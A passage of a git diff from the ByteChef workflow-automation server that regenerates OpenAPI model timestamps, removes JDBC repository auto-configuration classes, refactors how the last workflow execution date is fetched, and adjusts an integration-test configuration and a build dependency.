-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:37:00.328650+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:57.058835+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 public class WorkflowBasicModel {
 
   private @Nullable String createdBy;
diff --git a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/model/WorkflowModel.java b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/model/WorkflowModel.java
index 1de3620cb66..bc09b2adea6 100644
--- a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/model/WorkflowModel.java
+++ b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-rest/embedded-configuration-rest-api/generated/src/main/java/com/bytechef/ee/embedded/configuration/web/rest/model/WorkflowModel.java
@@ -32,7 +32,7 @@
 
 @Schema(name = "Workflow", description = "The blueprint that describe the execution of a job.")
 @JsonTypeName("Workflow")
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:37:00.328650+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:57.058835+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 public class WorkflowModel implements com.bytechef.platform.configuration.web.rest.model.WorkflowModelAware {
 
   private @Nullable String createdBy;
diff --git a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-service/build.gradle.kts b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-service/build.gradle.kts
index 2f3ac91bfb7..ef424d23d2a 100644
--- a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-service/build.gradle.kts
+++ b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-service/build.gradle.kts
@@ -1,6 +1,5 @@
 dependencies {
     implementation("org.apache.commons:commons-lang3")
-    implementation("org.springframework.boot:spring-boot-autoconfigure")
     implementation("org.springframework:spring-context")
     implementation("org.springframework.data:spring-data-jdbc")
     implementation(project(":server:libs:automation:automation-configuration:automation-configuration-api"))
diff --git a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-service/src/main/java/com/bytechef/ee/embedded/configuration/config/EmbeddedConfigurationJdbcRepositoryConfiguration.java b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-service/src/main/java/com/bytechef/ee/embedded/configuration/config/EmbeddedConfigurationJdbcRepositoryConfiguration.java
deleted file mode 100644
index 9d82de35187..00000000000
--- a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-service/src/main/java/com/bytechef/ee/embedded/configuration/config/EmbeddedConfigurationJdbcRepositoryConfiguration.java
+++ /dev/null
@@ -1,31 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.ee.embedded.configuration.config;
-
-import org.springframework.boot.autoconfigure.AutoConfiguration;
-import org.springframework.boot.autoconfigure.condition.ConditionalOnBean;
-import org.springframework.data.jdbc.repository.config.AbstractJdbcConfiguration;
-import org.springframework.data.jdbc.repository.config.EnableJdbcRepositories;
-
-/**
- * @author Ivica Cardic
- */
-@AutoConfiguration(afterName = "org.springframework.boot.data.jdbc.autoconfigure.DataJdbcRepositoriesAutoConfiguration")
-@ConditionalOnBean(AbstractJdbcConfiguration.class)
-@EnableJdbcRepositories(basePackages = "com.bytechef.ee.embedded.configuration.repository")
-class EmbeddedConfigurationJdbcRepositoryConfiguration {
-}
diff --git a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-service/src/main/java/com/bytechef/ee/embedded/configuration/facade/IntegrationInstanceConfigurationFacadeImpl.java b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-service/src/main/java/com/bytechef/ee/embedded/configuration/facade/IntegrationInstanceConfigurationFacadeImpl.java
index 1b7f4ab833f..a1928ea280f 100644
--- a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-service/src/main/java/com/bytechef/ee/embedded/configuration/facade/IntegrationInstanceConfigurationFacadeImpl.java
+++ b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-service/src/main/java/com/bytechef/ee/embedded/configuration/facade/IntegrationInstanceConfigurationFacadeImpl.java
@@ -15,6 +15,7 @@
 import com.bytechef.atlas.execution.service.JobService;
 import com.bytechef.commons.util.CollectionUtils;
 import com.bytechef.commons.util.MapUtils;
+import com.bytechef.commons.util.OptionalUtils;
 import com.bytechef.ee.embedded.configuration.domain.Integration;
 import com.bytechef.ee.embedded.configuration.domain.IntegrationInstance;
 import com.bytechef.ee.embedded.configuration.domain.IntegrationInstanceConfiguration;
@@ -762,17 +763,8 @@ private List<String> getWorkflowIds(IntegrationInstanceConfiguration integration
                 integrationInstanceConfiguration.getIntegrationVersion());
     }
 
-    private Instant getJobEndDate(Long jobId) {
-        Job job = jobService.getJob(jobId);
-
-        return job.getEndDate();
-    }
-
-    private Instant getWorkflowLastExecutionDate(long integrationInstanceConfigurationId, List<String> workflowIds) {
-        return principalJobService.fetchLastWorkflowJobId(
-            integrationInstanceConfigurationId, workflowIds, PlatformType.EMBEDDED)
-            .map(this::getJobEndDate)
-            .orElse(null);
+    private Instant getWorkflowLastExecutionDate(List<String> workflowIds) {
+        return OptionalUtils.mapOrElse(jobService.fetchLastWorkflowJob(workflowIds), Job::getEndDate, null);
     }
 
     private String getWorkflowUuid(
@@ -843,8 +835,7 @@ private IntegrationInstanceConfigurationDTO toIntegrationInstanceConfigurationDT
 
                     return new IntegrationInstanceConfigurationWorkflowDTO(
                         integrationInstanceConfigurationWorkflow,
-                        getWorkflowLastExecutionDate(
-                            integrationInstanceConfiguration.getId(), workflowUuidWorkflowIds),
+                        getWorkflowLastExecutionDate(workflowUuidWorkflowIds),
                         workflowService.getWorkflow(integrationInstanceConfigurationWorkflow.getWorkflowId()),
                         workflowUuid);
                 }),
diff --git a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-service/src/main/java/com/bytechef/ee/embedded/configuration/facade/IntegrationInstanceFacadeImpl.java b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-service/src/main/java/com/bytechef/ee/embedded/configuration/facade/IntegrationInstanceFacadeImpl.java
index 10e569424b1..afa055c997d 100644
--- a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-service/src/main/java/com/bytechef/ee/embedded/configuration/facade/IntegrationInstanceFacadeImpl.java
+++ b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-service/src/main/java/com/bytechef/ee/embedded/configuration/facade/IntegrationInstanceFacadeImpl.java
@@ -325,7 +325,7 @@ private void enableWorkflowTriggers(IntegrationInstanceWorkflow integrationInsta
                 getConnectionId(integrationInstanceConfiguration.getIntegrationId(),
                     integrationInstanceConfiguration.getId(), integrationInstanceWorkflow.getIntegrationInstanceId(),
                     workflow.getId(), workflowTrigger),
-                getWebhookUrl(workflowExecutionId), integrationInstanceConfiguration.getEnvironmentId());
+                getWebhookUrl(workflowExecutionId));
         }
     }
 
diff --git a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-service/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-service/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports
deleted file mode 100644
index 4a4f623eb00..00000000000
--- a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-service/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports
+++ /dev/null
@@ -1 +0,0 @@
-com.bytechef.ee.embedded.configuration.config.EmbeddedConfigurationJdbcRepositoryConfiguration
diff --git a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-service/src/test/java/com/bytechef/ee/embedded/configuration/config/IntegrationIntTestConfiguration.java b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-service/src/test/java/com/bytechef/ee/embedded/configuration/config/IntegrationIntTestConfiguration.java
index 47b7775e966..25ae38bb7fa 100644
--- a/server/ee/libs/embedded/embedded-configuration/embedded-configuration-service/src/test/java/com/bytechef/ee/embedded/configuration/config/IntegrationIntTestConfiguration.java
+++ b/server/ee/libs/embedded/embedded-configuration/embedded-configuration-service/src/test/java/com/bytechef/ee/embedded/configuration/config/IntegrationIntTestConfiguration.java
@@ -30,14 +30,14 @@
 import org.springframework.context.annotation.ComponentScan;
 import org.springframework.context.annotation.Configuration;
 import org.springframework.context.annotation.Import;
-import org.springframework.data.jdbc.repository.config.EnableJdbcAuditing;
+import org.springframework.data.jdbc.repository.config.EnableJdbcRepositories;
 
 /**
  * @author Ivica Cardic
  */
 @ComponentScan(
     basePackages = {
-        "com.bytechef.encryption", "com.bytechef.platform.category",
+        "com.bytechef.atlas.configuration.repository.jdbc", "com.bytechef.encryption", "com.bytechef.platform.category",
         "com.bytechef.ee.embedded.configuration", "com.bytechef.platform.tag"
     })
 @EnableAutoConfiguration
@@ -59,7 +59,11 @@ EncryptionKey encryptionKey() {
         return () -> "tTB1/UBIbYLuCXVi4PPfzA==";
     }
 
-    @EnableJdbcAuditing(auditorAwareRef = "auditorProvider", dateTimeProviderRef = "auditingDateTimeProvider")
+    @EnableJdbcRepositories(
+        basePackages = {
+            "com.bytechef.atlas.configuration.repository.jdbc", "com.bytechef.platform.category.repository",
+            "com.bytechef.ee.embedded.configuration.repository", "com.bytechef.platform.tag.repository"
+        })
     public static class IntegrationIntTestJdbcConfiguration extends AbstractIntTestJdbcConfiguration {
     }
 }
diff --git a/server/ee/libs/embedded/embedded-connected-user/embedded-connected-user-rest/generated/src/main/java/com/bytechef/ee/embedded/connected/user/web/rest/ConnectedUserApi.java b/server/ee/libs/embedded/embedded-connected-user/embedded-connected-user-rest/generated/src/main/java/com/bytechef/ee/embedded/connected/user/web/rest/ConnectedUserApi.java
index d48a0504113..c8e86fc252b 100644
--- a/server/ee/libs/embedded/embedded-connected-user/embedded-connected-user-rest/generated/src/main/java/com/bytechef/ee/embedded/connected/user/web/rest/ConnectedUserApi.java
+++ b/server/ee/libs/embedded/embedded-connected-user/embedded-connected-user-rest/generated/src/main/java/com/bytechef/ee/embedded/connected/user/web/rest/ConnectedUserApi.java
@@ -37,7 +37,7 @@
 import java.util.Optional;
 import jakarta.annotation.Generated;
 
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:36:59.433771+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:56.368618+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 @Validated
 @Tag(name = "connected-user", description = "The Embedded Connected User Internal API")
 public interface ConnectedUserApi {
diff --git a/server/ee/libs/embedded/embedded-connected-user/embedded-connected-user-rest/generated/src/main/java/com/bytechef/ee/embedded/connected/user/web/rest/model/ConnectedUserIntegrationInstanceModel.java b/server/ee/libs/embedded/embedded-connected-user/embedded-connected-user-rest/generated/src/main/java/com/bytechef/ee/embedded/connected/user/web/rest/model/ConnectedUserIntegrationInstanceModel.java
index ffe3c39dc6b..c8e4f50b4fb 100644
--- a/server/ee/libs/embedded/embedded-connected-user/embedded-connected-user-rest/generated/src/main/java/com/bytechef/ee/embedded/connected/user/web/rest/model/ConnectedUserIntegrationInstanceModel.java
+++ b/server/ee/libs/embedded/embedded-connected-user/embedded-connected-user-rest/generated/src/main/java/com/bytechef/ee/embedded/connected/user/web/rest/model/ConnectedUserIntegrationInstanceModel.java
@@ -23,7 +23,7 @@
  */
 
 @JsonTypeName("ConnectedUserIntegrationInstance")
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:36:59.433771+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:56.368618+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 public class ConnectedUserIntegrationInstanceModel {
 
   private @Nullable String componentName;
diff --git a/server/ee/libs/embedded/embedded-connected-user/embedded-connected-user-rest/generated/src/main/java/com/bytechef/ee/embedded/connected/user/web/rest/model/ConnectedUserModel.java b/server/ee/libs/embedded/embedded-connected-user/embedded-connected-user-rest/generated/src/main/java/com/bytechef/ee/embedded/connected/user/web/rest/model/ConnectedUserModel.java
index c7f6994789d..768edecb9c9 100644
--- a/server/ee/libs/embedded/embedded-connected-user/embedded-connected-user-rest/generated/src/main/java/com/bytechef/ee/embedded/connected/user/web/rest/model/ConnectedUserModel.java
+++ b/server/ee/libs/embedded/embedded-connected-user/embedded-connected-user-rest/generated/src/main/java/com/bytechef/ee/embedded/connected/user/web/rest/model/ConnectedUserModel.java
@@ -29,7 +29,7 @@
  */
 
 @JsonTypeName("ConnectedUser")
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:36:59.433771+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:56.368618+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 public class ConnectedUserModel {
 
   private @Nullable String createdBy;
diff --git a/server/ee/libs/embedded/embedded-connected-user/embedded-connected-user-rest/generated/src/main/java/com/bytechef/ee/embedded/connected/user/web/rest/model/CredentialStatusModel.java b/server/ee/libs/embedded/embedded-connected-user/embedded-connected-user-rest/generated/src/main/java/com/bytechef/ee/embedded/connected/user/web/rest/model/CredentialStatusModel.java
index b94464933a6..b711113c7ec 100644
--- a/server/ee/libs/embedded/embedded-connected-user/embedded-connected-user-rest/generated/src/main/java/com/bytechef/ee/embedded/connected/user/web/rest/model/CredentialStatusModel.java
+++ b/server/ee/libs/embedded/embedded-connected-user/embedded-connected-user-rest/generated/src/main/java/com/bytechef/ee/embedded/connected/user/web/rest/model/CredentialStatusModel.java
@@ -20,7 +20,7 @@
  * Gets or Sets credential_status
  */
 
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:36:59.433771+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:56.368618+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 public enum CredentialStatusModel {
   
   VALID("VALID"),
diff --git a/server/ee/libs/embedded/embedded-connected-user/embedded-connected-user-service/src/main/java/com/bytechef/ee/embedded/connected/user/config/EmbeddedConnectedUserJdbcRepositoryConfiguration.java b/server/ee/libs/embedded/embedded-connected-user/embedded-connected-user-service/src/main/java/com/bytechef/ee/embedded/connected/user/config/EmbeddedConnectedUserJdbcRepositoryConfiguration.java
deleted file mode 100644
index 28cea2dfc1c..00000000000
--- a/server/ee/libs/embedded/embedded-connected-user/embedded-connected-user-service/src/main/java/com/bytechef/ee/embedded/connected/user/config/EmbeddedConnectedUserJdbcRepositoryConfiguration.java
+++ /dev/null
@@ -1,31 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.ee.embedded.connected.user.config;
-
-import org.springframework.boot.autoconfigure.AutoConfiguration;
-import org.springframework.boot.autoconfigure.condition.ConditionalOnBean;
-import org.springframework.data.jdbc.repository.config.AbstractJdbcConfiguration;
-import org.springframework.data.jdbc.repository.config.EnableJdbcRepositories;
-
-/**
- * @author Ivica Cardic
- */
-@AutoConfiguration(afterName = "org.springframework.boot.data.jdbc.autoconfigure.DataJdbcRepositoriesAutoConfiguration")
-@ConditionalOnBean(AbstractJdbcConfiguration.class)
-@EnableJdbcRepositories(basePackages = "com.bytechef.ee.embedded.connected.user.repository")
-class EmbeddedConnectedUserJdbcRepositoryConfiguration {
-}
diff --git a/server/ee/libs/embedded/embedded-connected-user/embedded-connected-user-service/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports b/server/ee/libs/embedded/embedded-connected-user/embedded-connected-user-service/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports
deleted file mode 100644
index b6eb36c3e4c..00000000000
--- a/server/ee/libs/embedded/embedded-connected-user/embedded-connected-user-service/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports
+++ /dev/null
@@ -1 +0,0 @@
-com.bytechef.ee.embedded.connected.user.config.EmbeddedConnectedUserJdbcRepositoryConfiguration
diff --git a/server/ee/libs/embedded/embedded-execution/embedded-execution-public-rest/generated/src/main/java/com/bytechef/ee/embedded/execution/public_/web/rest/ActionApi.java b/server/ee/libs/embedded/embedded-execution/embedded-execution-public-rest/generated/src/main/java/com/bytechef/ee/embedded/execution/public_/web/rest/ActionApi.java
index 068bb2fe9e7..c8167b2e623 100644
--- a/server/ee/libs/embedded/embedded-execution/embedded-execution-public-rest/generated/src/main/java/com/bytechef/ee/embedded/execution/public_/web/rest/ActionApi.java
+++ b/server/ee/libs/embedded/embedded-execution/embedded-execution-public-rest/generated/src/main/java/com/bytechef/ee/embedded/execution/public_/web/rest/ActionApi.java
@@ -36,7 +36,7 @@
 import java.util.Optional;
 import jakarta.annotation.Generated;
 
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:36:59.390850+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:56.371545+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 @Validated
 @Tag(name = "action", description = "the action API")
 public interface ActionApi {
diff --git a/server/ee/libs/embedded/embedded-execution/embedded-execution-public-rest/generated/src/main/java/com/bytechef/ee/embedded/execution/public_/web/rest/ToolApi.java b/server/ee/libs/embedded/embedded-execution/embedded-execution-public-rest/generated/src/main/java/com/bytechef/ee/embedded/execution/public_/web/rest/ToolApi.java
index 2897d4a3ccd..6a60e5f0eb7 100644
--- a/server/ee/libs/embedded/embedded-execution/embedded-execution-public-rest/generated/src/main/java/com/bytechef/ee/embedded/execution/public_/web/rest/ToolApi.java
+++ b/server/ee/libs/embedded/embedded-execution/embedded-execution-public-rest/generated/src/main/java/com/bytechef/ee/embedded/execution/public_/web/rest/ToolApi.java
@@ -38,7 +38,7 @@
 import java.util.Optional;
 import jakarta.annotation.Generated;
 
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:36:59.390850+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:56.371545+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 @Validated
 @Tag(name = "tool", description = "the tool API")
 public interface ToolApi {
diff --git a/server/ee/libs/embedded/embedded-execution/embedded-execution-public-rest/generated/src/main/java/com/bytechef/ee/embedded/execution/public_/web/rest/model/EnvironmentModel.java b/server/ee/libs/embedded/embedded-execution/embedded-execution-public-rest/generated/src/main/java/com/bytechef/ee/embedded/execution/public_/web/rest/model/EnvironmentModel.java
index fa1e76c7204..5b818cb8536 100644
--- a/server/ee/libs/embedded/embedded-execution/embedded-execution-public-rest/generated/src/main/java/com/bytechef/ee/embedded/execution/public_/web/rest/model/EnvironmentModel.java
+++ b/server/ee/libs/embedded/embedded-execution/embedded-execution-public-rest/generated/src/main/java/com/bytechef/ee/embedded/execution/public_/web/rest/model/EnvironmentModel.java
@@ -20,7 +20,7 @@
  * The environment of a project.
  */
 
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:36:59.390850+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:56.371545+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 public enum EnvironmentModel {
   
   DEVELOPMENT("DEVELOPMENT"),
diff --git a/server/ee/libs/embedded/embedded-execution/embedded-execution-public-rest/generated/src/main/java/com/bytechef/ee/embedded/execution/public_/web/rest/model/ErrorsInnerMetaModel.java b/server/ee/libs/embedded/embedded-execution/embedded-execution-public-rest/generated/src/main/java/com/bytechef/ee/embedded/execution/public_/web/rest/model/ErrorsInnerMetaModel.java
index fbefcdb327d..df74b2d91af 100644
--- a/server/ee/libs/embedded/embedded-execution/embedded-execution-public-rest/generated/src/main/java/com/bytechef/ee/embedded/execution/public_/web/rest/model/ErrorsInnerMetaModel.java
+++ b/server/ee/libs/embedded/embedded-execution/embedded-execution-public-rest/generated/src/main/java/com/bytechef/ee/embedded/execution/public_/web/rest/model/ErrorsInnerMetaModel.java
@@ -27,7 +27,7 @@
 
 @Schema(name = "Errors_inner_meta", description = "Additional metadata about the error.")
 @JsonTypeName("Errors_inner_meta")
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:36:59.390850+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:56.371545+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 public class ErrorsInnerMetaModel {
 
   private @Nullable Object cause;
diff --git a/server/ee/libs/embedded/embedded-execution/embedded-execution-public-rest/generated/src/main/java/com/bytechef/ee/embedded/execution/public_/web/rest/model/ErrorsInnerModel.java b/server/ee/libs/embedded/embedded-execution/embedded-execution-public-rest/generated/src/main/java/com/bytechef/ee/embedded/execution/public_/web/rest/model/ErrorsInnerModel.java
index 097833efb46..cfea7dbe466 100644
--- a/server/ee/libs/embedded/embedded-execution/embedded-execution-public-rest/generated/src/main/java/com/bytechef/ee/embedded/execution/public_/web/rest/model/ErrorsInnerModel.java
+++ b/server/ee/libs/embedded/embedded-execution/embedded-execution-public-rest/generated/src/main/java/com/bytechef/ee/embedded/execution/public_/web/rest/model/ErrorsInnerModel.java
@@ -22,7 +22,7 @@
  */
 
 @JsonTypeName("Errors_inner")
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:36:59.390850+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:56.371545+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 public class ErrorsInnerModel {
 
   private String id;
diff --git a/server/ee/libs/embedded/embedded-execution/embedded-execution-public-rest/generated/src/main/java/com/bytechef/ee/embedded/execution/public_/web/rest/model/ExecuteAction400ResponseModel.java b/server/ee/libs/embedded/embedded-execution/embedded-execution-public-rest/generated/src/main/java/com/bytechef/ee/embedded/execution/public_/web/rest/model/ExecuteAction400ResponseModel.java
index 765a5e71dcf..b29b0670145 100644
--- a/server/ee/libs/embedded/embedded-execution/embedded-execution-public-rest/generated/src/main/java/com/bytechef/ee/embedded/execution/public_/web/rest/model/ExecuteAction400ResponseModel.java
+++ b/server/ee/libs/embedded/embedded-execution/embedded-execution-public-rest/generated/src/main/java/com/bytechef/ee/embedded/execution/public_/web/rest/model/ExecuteAction400ResponseModel.java
@@ -25,7 +25,7 @@
  */
 
 @JsonTypeName("executeAction_400_response")
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:36:59.390850+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:56.371545+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 public class ExecuteAction400ResponseModel {
 
   @Valid
diff --git a/server/ee/libs/embedded/embedded-execution/embedded-execution-public-rest/generated/src/main/java/com/bytechef/ee/embedded/execution/public_/web/rest/model/ExecuteActionRequestModel.java b/server/ee/libs/embedded/embedded-execution/embedded-execution-public-rest/generated/src/main/java/com/bytechef/ee/embedded/execution/public_/web/rest/model/ExecuteActionRequestModel.java
index 5266a2650bf..dce9230da88 100644
--- a/server/ee/libs/embedded/embedded-execution/embedded-execution-public-rest/generated/src/main/java/com/bytechef/ee/embedded/execution/public_/web/rest/model/ExecuteActionRequestModel.java
+++ b/server/ee/libs/embedded/embedded-execution/embedded-execution-public-rest/generated/src/main/java/com/bytechef/ee/embedded/execution/public_/web/rest/model/ExecuteActionRequestModel.java
@@ -23,7 +23,7 @@
  */
 
 @JsonTypeName("executeAction_request")
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:36:59.390850+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:56.371545+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 public class ExecuteActionRequestModel {
 
   @Valid
diff --git a/server/ee/libs/embedded/embedded-execution/embedded-execution-public-rest/generated/src/main/java/com/bytechef/ee/embedded/execution/public_/web/rest/model/ExecuteToolRequestModel.java b/server/ee/libs/embedded/embedded-execution/embedded-execution-public-rest/generated/src/main/java/com/bytechef/ee/embedded/execution/public_/web/rest/model/ExecuteToolRequestModel.java
index 69f87458623..83aa99e54c2 100644
--- a/server/ee/libs/embedded/embedded-execution/embedded-execution-public-rest/generated/src/main/java/com/bytechef/ee/embedded/execution/public_/web/rest/model/ExecuteToolRequestModel.java
+++ b/server/ee/libs/embedded/embedded-execution/embedded-execution-public-rest/generated/src/main/java/com/bytechef/ee/embedded/execution/public_/web/rest/model/ExecuteToolRequestModel.java
@@ -23,7 +23,7 @@
  */
 
 @JsonTypeName("executeTool_request")
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:36:59.390850+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:56.371545+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 public class ExecuteToolRequestModel {
 
   private String name;
diff --git a/server/ee/libs/embedded/embedded-execution/embedded-execution-public-rest/generated/src/main/java/com/bytechef/ee/embedded/execution/public_/web/rest/model/FunctionModel.java b/server/ee/libs/embedded/embedded-execution/embedded-execution-public-rest/generated/src/main/java/com/bytechef/ee/embedded/execution/public_/web/rest/model/FunctionModel.java
index 63aeeb6a090..119f6d6cff9 100644
--- a/server/ee/libs/embedded/embedded-execution/embedded-execution-public-rest/generated/src/main/java/com/bytechef/ee/embedded/execution/public_/web/rest/model/FunctionModel.java
+++ b/server/ee/libs/embedded/embedded-execution/embedded-execution-public-rest/generated/src/main/java/com/bytechef/ee/embedded/execution/public_/web/rest/model/FunctionModel.java
@@ -22,7 +22,7 @@
 
 @Schema(name = "Function", description = "A function property type.")
 @JsonTypeName("Function")
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:36:59.390850+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:56.371545+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 public class FunctionModel {
 
   private String name;
diff --git a/server/ee/libs/embedded/embedded-execution/embedded-execution-public-rest/generated/src/main/java/com/bytechef/ee/embedded/execution/public_/web/rest/model/ToolModel.java b/server/ee/libs/embedded/embedded-execution/embedded-execution-public-rest/generated/src/main/java/com/bytechef/ee/embedded/execution/public_/web/rest/model/ToolModel.java
index a7aa8c73644..ad5ad045825 100644
--- a/server/ee/libs/embedded/embedded-execution/embedded-execution-public-rest/generated/src/main/java/com/bytechef/ee/embedded/execution/public_/web/rest/model/ToolModel.java
+++ b/server/ee/libs/embedded/embedded-execution/embedded-execution-public-rest/generated/src/main/java/com/bytechef/ee/embedded/execution/public_/web/rest/model/ToolModel.java
@@ -22,7 +22,7 @@
  */
 
 @JsonTypeName("Tool")
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:36:59.390850+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:56.371545+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 public class ToolModel {
 
   private FunctionModel function;
diff --git a/server/ee/libs/embedded/embedded-security-web/embedded-security-web-impl/build.gradle.kts b/server/ee/libs/embedded/embedded-security-web/embedded-security-web-impl/build.gradle.kts
index be2b2b77196..339b6c72e11 100644
--- a/server/ee/libs/embedded/embedded-security-web/embedded-security-web-impl/build.gradle.kts
+++ b/server/ee/libs/embedded/embedded-security-web/embedded-security-web-impl/build.gradle.kts
@@ -2,7 +2,7 @@ dependencies {
     compileOnly("jakarta.servlet:jakarta.servlet-api")
 
     implementation("org.apache.commons:commons-lang3")
-    implementation(libs.jjwt.api)
+    implementation("io.jsonwebtoken:jjwt-api:0.12.5")
